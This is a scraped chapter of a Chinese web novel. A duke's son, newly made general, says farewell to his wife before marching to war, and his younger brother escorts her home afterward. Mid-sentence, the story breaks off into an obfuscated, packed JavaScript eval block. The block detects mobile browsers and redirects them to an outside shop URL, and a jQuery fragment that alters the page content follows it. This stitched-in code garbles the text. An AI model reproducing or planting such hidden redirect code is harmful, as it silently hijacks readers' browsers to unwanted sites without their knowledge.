默认冷灰
24号文字
方正启体

10. 出征

作者:林沚本书字数:K更新时间:
    战争的号角已然吹响,皇帝任命郑淮舟挂帅出征,整装待发,三日后便要开赴边境御敌。


    郑淮舟从兵部脱身回府时,已是掌灯时分,国公府内气氛沉郁,连廊下灯笼的光都显得比平日黯淡。


    国公爷坐在正厅太师椅上,盯着手中茶盏出神,夫人则在一旁默默垂泪。见长子归来,老两口强打精神,却掩不住眼中忧色。


    “回来了?”国公爷放下茶盏,声音有些哑,“都安排妥当了?”


    “是。”郑淮舟解下披风,“粮草军械三日内齐备,各部兵马已在城外集结。”


    国公夫人用帕子按了按眼角,起身道:“先用膳吧,厨房备了你爱吃的。”


    一顿晚膳吃得沉闷,席间只闻碗箸轻碰之声,偶有国公夫人为儿子夹菜,低声嘱咐些“多加衣”“莫逞强”的话。


    郑淮舟一一应下,目光却不时飘向对面安静用饭的李妙仪。


    她今日穿了身藕荷色襦裙,发间只簪一支素银簪子,低眉顺眼,与平常并无二致。可郑淮舟就是觉得,她比刚嫁进来时更瘦了些,下巴尖了,眼下也有淡淡青影。


    膳后,国公夫人推说乏了,催他们早些回房歇息。话虽未明说,那份“能多待一会儿是一会儿”的心意,却清清楚楚写在眼里。


    回到院落,李妙仪径自去了浴房。郑淮舟在书房坐了会儿,处理了几封军中信件,待听得那边水声停了,才起身过去。


    她正从屏风后转出来,一身月白寝衣,湿发披在肩头,发梢还滴着水。见他立在门前,脚步微微一顿。


    “我来。”郑淮舟走上前,很自然地牵了她的手,将她带到梳妆台前按坐下去。


    “我自己……”她的话被他打断。


    “让我来。”声音不高,却不容拒绝。


    他站在她身后,取了干燥的软巾,捧起那湿发擦拭。动作起初有些生硬,很快便熟练起来,力道不轻不重,一寸寸拭去发间水汽。


    铜镜里映出两人的影子,烛光摇曳,将影子投在墙上,模糊了边界。


    李妙仪静静坐着,目光落在镜中他专注的眉眼上。这个在沙场上令敌人闻风丧胆的男人,此刻正小心翼翼地替她擦拭头发,粗粝的指腹偶尔划过她颈后肌肤,带起一阵细微的战栗。


    擦至半干,他又打开妆台上的白玉盒,挖了块香膏在掌心焐热,然后均匀抹在她发梢。是兰花的香气,清雅温和,在空气中缓缓散开。


    最后,他执起那把雕花玉梳,从发根缓缓梳至发尾,一遍又一遍,极有耐心。梳齿划过头皮的感觉令人放松,李妙仪不自觉地微微合眼。


    便宜丈夫还有这等用处?


    她莫名想到从前宫里那些手艺绝佳的宫婢,梳妆打扮、熏衣理容,样样精通,也不知没了她这位主子,她们被分派到哪处宫殿去了。


    想起昔日锦绣堆砌的生活,再看如今虽不寒酸却也简朴的用度,她不由得轻叹一声。


    单纯的公主此时尚不知道,安阳公主意外身死,牵连甚广,她宫中那些仙娥美婢,早已随主殉葬,化作黄土一抔了。


    听见叹息,郑淮舟手上动作一顿,从镜中看她:“弄疼了?”


    “没有。”她摇头,“想起些旧事罢了。”


    郑淮舟却以为她是嫌他伺候得不好,语气里竟带了几分不易察觉的委屈:“我手笨,比不得你用惯的人。”


    这话说得突兀,李妙仪抬眼看向镜中的他,见他神色如常,仿佛只是随口一提,才道:“你手法很好,行了吧?”


    这本是句客套话,郑淮舟听了,唇角却微微扬起,他放下玉梳,双手忽然扶住她的肩。李妙仪还未反应过来,整个人已被他从凳子上抱了起来!


    “你——”惊呼声刚出口,她已被轻轻放在梳妆台上。


    郑淮舟挤进她双膝之间,额头抵着她的肩,整个人几乎伏进她怀里。温热的呼吸透过薄薄寝衣熨贴肌肤,这个姿势太过亲密温存,李妙仪浑身僵住,双手悬在半空,不知该往哪里放。


    “别动。”他此刻像只收起利爪的大型兽类,在她怀中寻求片刻安宁,“就让我这样待一会儿。”


    比起那些直白强势的亲吻,她更怕这样的拥抱。亲吻尚可理解为占有或欲望,可这样全然依偎的姿态,却像是在索求某种更柔软的东西,那是她给不起,也不敢给的。


    郑淮舟感受到她身体的僵硬,心头那点欢喜渐渐凉了。他抬起头,看着怀中女子紧绷的侧脸,烛光在她长睫上投下浅浅阴影,这张脸美则美矣,却像罩着一层看不见的壳。


    他有时会怀疑,这女子的心是不是铁做的,他舍下面子讨好她数月,竟未能将其捂热半分。


    上了心后,他暗中查过崔家,知道她在那样的家庭长大,对人有戒心在所难免。他总想着,用一腔热忱总能换来她的侧目,哪怕只是一点点松动。


    可如今,他要走了,战场之上,生死难料。


    郑淮舟忽然没了旖旎心思,若他真有万一,她怀了子嗣怎么办?将来孤儿寡母,在这深宅大院里,何其艰难。国公府虽能庇护,可终究不是她的血脉至亲;公婆再慈爱,也抵不过亲生父母。


    想到这里,郑淮舟眼眶微热,他在心中自嘲:仗还没打,倒先惦记起身后事了。


    他直起身,双手捧住她的脸,拇指轻轻摩挲她的脸颊。李妙仪被迫与他对视,看到他眼中翻涌的复杂情绪,有不舍,有担忧,还有一种她看不懂的深沉。


    “令言,”他唤她的名字,“我这一去,不知何时能归,你……”


    他顿了顿,似乎不知该如何说下去,最终松开了手,从怀中取出一个锦盒,递到她面前。


    李妙仪怔了怔,接过来打开。里面躺着一支白玉簪,簪身素净,只在顶端雕了朵半开的玉兰,雕工不算顶尖,却自有一股朴拙的意趣。


    “我自己雕的,料子是从前在北境得的羊脂玉,听说能养人。”他故作轻松地笑了笑,“留着吧,来日也好睹物思人。”


    这话说得直白,李妙仪一时不知如何接,她沉默地看着那支玉簪,指尖抚过温润的玉质。半晌,才轻轻“嗯”了一声,将锦盒合上,放在妆台上。


    她打开自己的妆匣,翻找片刻,取出一枚叠成三角的平安符,明黄绸布缝制,上面绣着梵文。


    “母亲前日去大相国寺求来的。”她将平安符递给他,“她说让你随身带着,保平安。”


    郑淮舟接过那枚小小的符,掌心传来绸布的柔软触感。


    “还有,”李妙仪咬了咬唇,声音更轻了,“刀剑无眼,你万事小心。”


    话音落下,郑淮舟忽然向前一步,将她紧紧拥入怀中。这个拥抱不同以往,没有情欲,只有沉甸甸的不舍与


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164859|196659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    珍重。


    他将脸埋在她颈窝,像在汲取最后一丝暖意,良久才闷闷出声:“我会把它贴身戴着,就像你在我身边。”


    李妙仪犹豫片刻,终于抬起手,在他后背轻轻拍了拍。


    他稍稍退开,低头在她额上落下轻柔一吻,随后缓缓下移,温热的唇瓣流连在她的唇间,不深入,只一遍遍摩挲,气息交织,缠缠绵绵。


    李妙仪呼吸微滞,下意识想偏开头,却终究阖上双眼,任由他的温度在唇上停留。


    烛火不知何时燃尽,倏地熄灭。最后一缕青烟袅袅,散入窗隙透进的月光里。房间彻底暗下,唯有银辉如纱,轻轻覆住两人相拥的身影,久久未动。


    三日后,大军开拔。


    天尚未亮,国公府门前已是一片肃穆。郑淮舟一身玄黑铁甲,肩披猩红披风,立在阶前与父母拜别。


    国公爷握着他的手,良久才道:“万事小心。”


    国公夫人早已泣不成声,被儿媳搀扶着,只能一遍遍重复:“平安……一定要平安……”


    郑淮序亦是一身戎装,他此番任京畿卫戍统领,负责盛京防务,不与兄长同赴前线。兄弟二人对视一眼,一切尽在不言中。


    李妙仪发间簪着那支白玉兰簪,晨风吹起她的裙摆,她静静望着郑淮舟,目光平静,看不出太多情绪。


    郑淮舟最后看了她一眼,翻身上马,骏马嘶鸣,他勒紧缰绳,调转马头,朝着城门方向驰去。


    大军出城之际,盛京万人空巷,百姓夹道相送,旌旗猎猎,甲胄鲜明,马蹄声、脚步声、兵刃碰撞声汇成一片肃杀的洪流。


    城墙之上,李妙仪凭栏而立,她目送着那支军队渐行渐远,最终化作天地交界处一道模糊的黑线。


    从前读史书兵策,总觉得将军威武,浴血杀敌是何等壮怀激烈。如今亲眼见这千军万马开赴沙场,心中涌起的却是另一番滋味。


    若能安稳度日,谁又愿过这动荡不安、生死难料的年月?


    “嫂嫂,风大了,回吧。”郑淮序不知何时来到她身侧。


    李妙仪转头看他,点了点头。两人一同走下城楼,马车已在等候。


    回府的路上,车内一片寂静。李妙仪靠着车壁,闭目养神,郑淮序坐在对面,目光几次掠过她发间那支玉簪,最终又移开。


    “大哥此去,少则数月,多则经年。”他忽然开口,“府中诸事,嫂嫂若有需要,可随时差人寻我。”


    李妙仪睁开眼,看向他:“有劳二郎。”


    “另外,”郑淮序顿了顿,声音压低几分,“王侍郎一案,虽证据确凿,但朝中仍有其党羽暗中活动。大哥临行前嘱咐,府中需加强戒备,嫂嫂平日若无必要,尽量少出门。”


    李妙仪心中了然,王宣之收监待审,牵一发而动全身,那些与他有关的势力,未必甘心就此罢休。郑淮舟此番挂帅出征,若战事顺利,功勋加身,郑家地位将更加稳固;可若战事不利,那些暗中窥伺之人,必会趁机反扑。


    “我明白。”她轻声应道。


    马车停在国公府门前,郑淮序先行下车,伸手欲扶她。李妙仪迟疑一瞬,将手轻轻搭在他腕上,借力下了车。


    指尖相触的刹那,两人都微微一僵。郑淮序迅速收回手,退后半步:“嫂嫂请。”


    李妙仪垂眸,提裙步入府中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)